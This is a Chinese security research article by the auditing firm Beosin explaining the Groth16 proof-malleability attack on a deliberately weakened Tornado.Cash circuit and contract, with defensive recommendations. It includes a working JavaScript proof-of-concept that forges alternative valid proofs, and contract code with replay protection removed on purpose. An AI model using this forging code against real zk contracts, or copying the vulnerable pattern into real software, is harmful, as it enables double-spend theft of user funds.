深入探究 Tornado.Cash 揭示z...

首頁
專家專欄
深入探究 Tornado.Cash 揭示zkp項目的延展性攻擊

深入探究 Tornado.Cash 揭示zkp項目的延展性攻擊

發表於 2023-08-07 12:32 作者： Beosin

在上篇文章裏，我們從原理的角度闡述了 Groth16 證明系統本身存在的延展性漏洞，本文中我們將以Tornado.Cash項目爲例，魔改其部分電路和代碼，介紹延展性攻擊流程以及該項目中對應的防範措施，希望其他zkp項目方也引起注意。

其中，Tornado.Cash使用snarkjs庫進行开發，同樣基於如下开發流程，後續就直接進行介紹，不熟悉該庫的請閱讀本系列第一篇文章。（Beosin | 深度剖析零知識證明zk-SNARK漏洞：爲什么零知識證明系統並非萬無一失？）

（圖源：https://docs.circom.io/）

1 Tornado.Cash 架構

Tornado.Cash的交互流程中主要包含4個實體：

User：使用該DApp進行混幣器隱私交易，包括存、取款。
Web page：DApp的前端網頁，網頁上包含一些用戶按鈕。
Relayer：爲防止鏈上節點記錄發起隱私交易的ip地址等信息，該服務器會代替用戶重放交易，進一步增強隱私性。
Contract：包含一個代理合約Tornado.Cash Proxy，該代理合約會根據用戶存取款的金額選擇指定的Tornado池子進行後續的存取款操作。目前已存在4個池子，金額分別爲：0.1、1、10、100。

User首先在Tornado.Cash的前端網頁上進行對應操作，觸發存款或取款交易，接着由Relayer將其交易請求轉發到鏈上的Tornado.Cash Proxy合約，並根據交易金額轉發到對應的Pool中，最終進行存款和取款等處理，具體的架構如下：

Tornado.Cash作爲一個混幣器，其具體業務功能分爲兩部分：

deposit：當用戶進行存款交易時，首先在前端網頁上選擇存入的代幣(BNB、ETH等)和對應的數額，爲了更好的確保用戶的隱私性，只能存入四種金額數量；

圖源：<https://ipfs.io/ipns/tornadocash.eth/>

接着服務器會生成兩個31字節的隨機數nullifier、secret，將其拼接後進行pedersenHash運算即可得到commitment，將nullifier+secret加上前綴作爲note返回給用戶，note如下圖：

隨後發起一筆deposit交易將commitment等數據發送到鏈上Tornado.Cash Proxy合約中，代理合約根據deposit的金額將數據轉發至對應的Pool中，最後Pool合約將commitment作爲葉子結點插入到merkle tree，並將計算出的root存儲在Pool合約中。
withdraw：當用戶進行取款交易時，首先在前端網頁上輸入deposit時返回的note數據和收款地址；

圖源：<https://ipfs.io/ipns/tornadocash.eth/>

接着服務器會在鏈下檢索出所有Tornadocash的deposit事件，提取其中的commitment構建鏈下的Merkle tree，並根據用戶給出的note數據(nullifier+secret)生成commitment並生成對應的Merkle Path和對應的root，並作爲電路輸入得到零知識SNARK proof；最後，再發起一筆withdraw交易到鏈上的Tornado.Cash Proxy合約中，接着根據參數跳轉到對應的Pool合約中驗證證明，將錢打入用戶指定的接收者地址。

其中，Tornado.Cash 的withdraw核心其實就是在不暴露用戶持有的nullifier、secret的情況下，證明某個commitment存在於Merkle tree上，具體的默克爾樹結構如下：

2 Tornado.Cash 魔改漏洞版

2.1 Tornado.Cash 魔改

針對第一篇文章Groth16 延展性攻擊原理，我們知道攻擊者使用相同的nullifier、secret其實可以生成多個不同的Proof，那么如果开發者沒有考慮到Proof重放造成的雙花攻擊，就會威脅到項目資金。在對Tornado.Cash進行魔改之前，本文先介紹一下Tornado.Cash最終處理withdraw的Pool中代碼：

/**    @dev Withdraw a deposit from the contract. `proof` is a zkSNARK proof data, and input is an array of circuit public inputs    `input` array consists of:      - merkle root of all deposits in the contract      - hash of unique deposit nullifier to prevent double spends      - the recipient of funds      - optional fee that goes to the transaction sender (usually a relay)  */  function withdraw(    bytes calldata _proof,    bytes32 _root,    bytes32 _nullifierHash,    address payable _recipient,    address payable _relayer,    uint256 _fee,    uint256 _refund  ) external payable nonReentrant {    require(_fee <= denomination, "Fee exceeds transfer value");    require(!nullifierHashes[_nullifierHash], "The note has been already spent");    require(isKnownRoot(_root), "Cannot find your merkle root"); // Make sure to use a recent one    require(      verifier.verifyProof(        _proof,        [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund]      ),      "Invalid withdraw proof"    );
    nullifierHashes[_nullifierHash] = true;    _processWithdraw(_recipient, _relayer, _fee, _refund);    emit Withdrawal(_recipient, _nullifierHash, _relayer, _fee);  }

上圖中爲了防止攻擊者使用同一個Proof進行雙花攻擊，而又不暴露nullifier、secret，Tornado.Cash在電路中增加了一個公共信號nullifierHash，它是由nullifier進行Pedersen哈希得到，可以作爲參數傳到鏈上，Pool合約再使用該變量標識一個正確的Proof是否已經被使用過。但是如果項目方不採用修改電路的方式，而是直接以記錄Proof方式來防止雙花，畢竟這樣做可以減少電路約束，從而節省开銷，但是能否達到目的呢？

對於此猜想，本文將刪除電路中新增的nullifierHash公共信號，並將合約校驗改爲Proof校驗。由於Tornado.Cash在每次withdraw時都會獲取所有的deposit事件組建merkle tree再校驗生成的root值是否在最近生成的30個之內，整個過程太過麻煩，因此本文電路也將刪除merkleTree電路，僅僅留下withdraw部分的核心電路，具體電路如下：

include "../../../../node_modules/circomlib/circuits/bitify.circom";  include "../../../../node_modules/circomlib/circuits/pedersen.circom";
// computes Pedersen(nullifier + secret)template CommitmentHasher() {    signal input nullifier;    signal input secret;    signal output commitment;    // signal output nullifierHash;   // delete
    component commitmentHasher = Pedersen(496);    // component nullifierHasher = Pedersen(248);    component nullifierBits = Num2Bits(248);    component secretBits = Num2Bits(248);
    nullifierBits.in <== nullifier;    secretBits.in <== secret;    for (var i = 0; i < 248; i++) {        // nullifierHasher.in[i] <== nullifierBits.out[i];  // delete        commitmentHasher.in[i] <== nullifierBits.out[i];        commitmentHasher.in[i + 248] <== secretBits.out[i];    }
    commitment <== commitmentHasher.out[0];    // nullifierHash <== nullifierHasher.out[0];   // delete}
// Verifies that commitment that corresponds to given secret and nullifier is included in the merkle tree of deposits    signal output commitment;    signal input recipient; // not taking part in any computations    signal input relayer;  // not taking part in any computations    signal input fee;      // not taking part in any computations    signal input refund;   // not taking part in any computations    signal input nullifier;    signal input secret;    component hasher = CommitmentHasher();    hasher.nullifier <== nullifier;    hasher.secret <== secret;    commitment <== hasher.commitment;
    // Add hidden signals to make sure that tampering with recipient or fee will invalidate the snark proof    // Most likely it is not required, but it's better to stay on the safe side and it only takes 2 constraints    // Squares are used to prevent optimizer from removing those constraints    signal recipientSquare;    signal feeSquare;    signal relayerSquare;    signal refundSquare;
    recipientSquare <== recipient * recipient;    feeSquare <== fee * fee;    relayerSquare <== relayer * relayer;    refundSquare <== refund * refund;
}
component main = Withdraw(20);

注意：我們在實驗過程中發現，TornadoCash 在 GitHub 中的最新版代碼裏（https://github.com/tornadocash/tornado-core）， withdraw 電路缺乏輸出信號，需要人工修正才能正確運行。

根據上述修改後的電路，使用snarkjs庫等按照本文开始給出的开發流程逐步進行，生成如下正常Proof，記爲proof1：

The proof: {  pi_a: [    12731245758885665844440940942625335911548255472545721927606279036884288780352n,    11029567045033340566548367893304052946457319632960669053932271922876268005970n,    1n  ],  pi_b: [    [      4424670283556465622197187546754094667837383166479615474515182183878046002081n,      8088104569927474555610665242983621221932062943927262293572649061565902268616n    ],    [      9194248463115986940359811988096155965376840166464829609545491502209803154186n,      18373139073981696655136870665800393986130876498128887091087060068369811557306n    ],    [ 1n, 0n ]  ],  pi_c: [    1626407734863381433630916916203225704171957179582436403191883565668143772631n,    10375204902125491773178253544576299821079735144068419595539416984653646546215n,    1n  ],  protocol: 'groth16',  curve: 'bn128'}

2.2 實驗驗證

2.2.1 驗證證明 — circom 生成的默認合約

首先，我們使用circom 生成的默認合約進行驗證，該合約由於根本沒有記錄任何已經使用過的Proof相關信息，攻擊者可多次重放proof1造成雙花攻擊。在下列實驗中，可以針對同一電路的同一個input，無限次重放proof，均能通過驗證。

下圖是使用proof1在默認合約中證明驗證通過的實驗截圖，包含上篇文章中使用的Proof參數A、B、C，以及最終的結果：

下圖是我們使用同樣的proof1多次調用verifyProof函數進行證明驗證的結果，實驗發現針對同一input，無論攻擊者使用多少次proof1進行驗證，都可以通過：

當然在我們在snarkjs原生的js代碼庫中進行測試，也並未對已經使用過的Proof進行防範，實驗結果如下：

2.2.2 驗證證明 — 普通防重放合約

針對circom 生成的默認合約中的重放漏洞，本文記錄已使用過的正確Proof(proof1)中的一個值，以達到防止使用驗證過的proof進行重放攻擊的目的，具體如下圖所示：

繼續使用proof1進行驗證，實驗發現在使用同樣Proof進行二次驗證時，交易revert報錯："The note has been already spent"，結果如下圖所示：

但是此時雖然達到了防止普通proof重放攻擊的目的，但是前文介紹過groth16算法存在延展性漏洞問題，這種防範措施仍可以被繞過。於是下圖我們構造PoC，按照第一篇文章中的算法針對同一input生成僞造的zk-SNARK證明，實驗發現仍然能通過驗證。生成僞造證明proof2的PoC代碼如下：

import WasmCurve from "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"import ZqField from "/Users/saya/node_modules/ffjavascript/src/f1field.js"import groth16FullProve from "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify from "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";import * as curves from "/Users/saya/node_modules/snarkjs/src/curves.js";import fs from "fs";import {  utils }   from "ffjavascript";const {unstringifyBigInts} = utils;
groth16_exp();async function groth16_exp(){    let inputA = "7";    let inputB = "11";    const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');
    // 2. 讀取string後轉化爲int    const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8")));    console.log("The proof:",proof);
    // 生成逆元，生成的逆元必須在F1域    const F = new ZqField(SNARK_FIELD_SIZE);    // const F = new F2Field(SNARK_FIELD_SIZE);    const X = F.e("123456")    const invX = F.inv(X)    console.log("x:" ,X )    console.log("invX" ,invX)    console.log("The timesScalar is:",F.mul(X,invX))
    // 讀取橢圓曲线G1、G2點     const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8"));    // console.log("The curve is:",vKey);    const curve = await curves.getCurveFromName(vKey.curve);
    const G1 = curve.G1;    const G2 = curve.G2;    const A = G1.fromObject(proof.pi_a);    const B = G2.fromObject(proof.pi_b);    const C = G1.fromObject(proof.pi_c);
    const new_pi_a = G1.timesScalar(A, X);  //A'=x*A    const new_pi_b = G2.timesScalar(B, invX);  //B'=x^{-1}*B
    proof.pi_a = G1.toObject(G1.toAffine(A));    proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a))    proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b))
    // 將生成的G1、G2點轉化爲proof    console.log("proof.pi_a:",proof.pi_a);    console.log("proof.new_pi_a:",proof.new_pi_a)    console.log("proof.new_pi_b:",proof.new_pi_b)
}

生成的僞造證明proof2，具體如下圖所示：

再次使用該參數調用verifyProof函數進行證明驗證時，實驗發現同一input的情況下使用proof2驗證再次通過了，具體如下所示：

雖然僞造的證明proof2也只能再使用一次，但由於針對同一input的僞造的證明存在幾乎無限多個，因此可能造成合約資金被無限次被提取。

本文同樣使用circom庫的js代碼進行測試，實驗結果proof1和僞造的proof2都可以通過驗證：

2.2.3 驗證證明 — Tornado.Cash放重放合約

經歷了那么多次失敗，難道沒有一種方式可以一勞永逸嗎？此處按照Tornado.Cash中通過校驗原始input是否已經被使用的做法，本文繼續修改合約代碼如下：

需要說明的是，爲了展示groth16算法延展性攻擊的防範簡單措施，**本文採取直接記錄原始電路input的方式，但是這不符合零知識證明的隱私原則，電路輸入應當是保密的。**比如 Tornado.Cash中input都是private，需要重新新增一個public input標識一條Proof。本文由於電路中沒有新增標識，所以隱私性相對於Tornado.Cash來說較差，僅作爲實驗Demo展示結果如下：

可以發現，上圖中使用同一input的Proof，只有第一次可以通過驗證proof1，隨後該proof1和僞造的proof2都不能通過校驗。

3 總結和建議

本文主要通過魔改TornadoCash的電路和使用开發者常用的Circom默認生成的合約驗證了重放漏洞的真實性和危害，並進一步驗證了使用在合約層面的普通措施可以防護重放漏洞，但無法防止groth16的延展性攻擊，對此，我們建議零知識證明的項目在項目开發時，應注意：

與傳統DApp使用地址等唯一數據生成節點數據的方式不同，zkp項目通常是使用組合隨機數的方式生成Merkle tree節點，需要注意業務邏輯是否允許插入相同數值節點的情況。因爲相同的葉子結點數據可能導致部分用戶資金被鎖死在合約中，或者是同一葉子節點數據存在多個Merkle Proof混淆業務邏輯的情況。
zkp項目方通常使用mapping記錄已使用的過的Proof，防範雙花攻擊。需要注意使用Groth16开發時，由於存在延展性攻擊，因此記錄需使用節點原始數據，而不能僅僅使用Proof相關數據標識。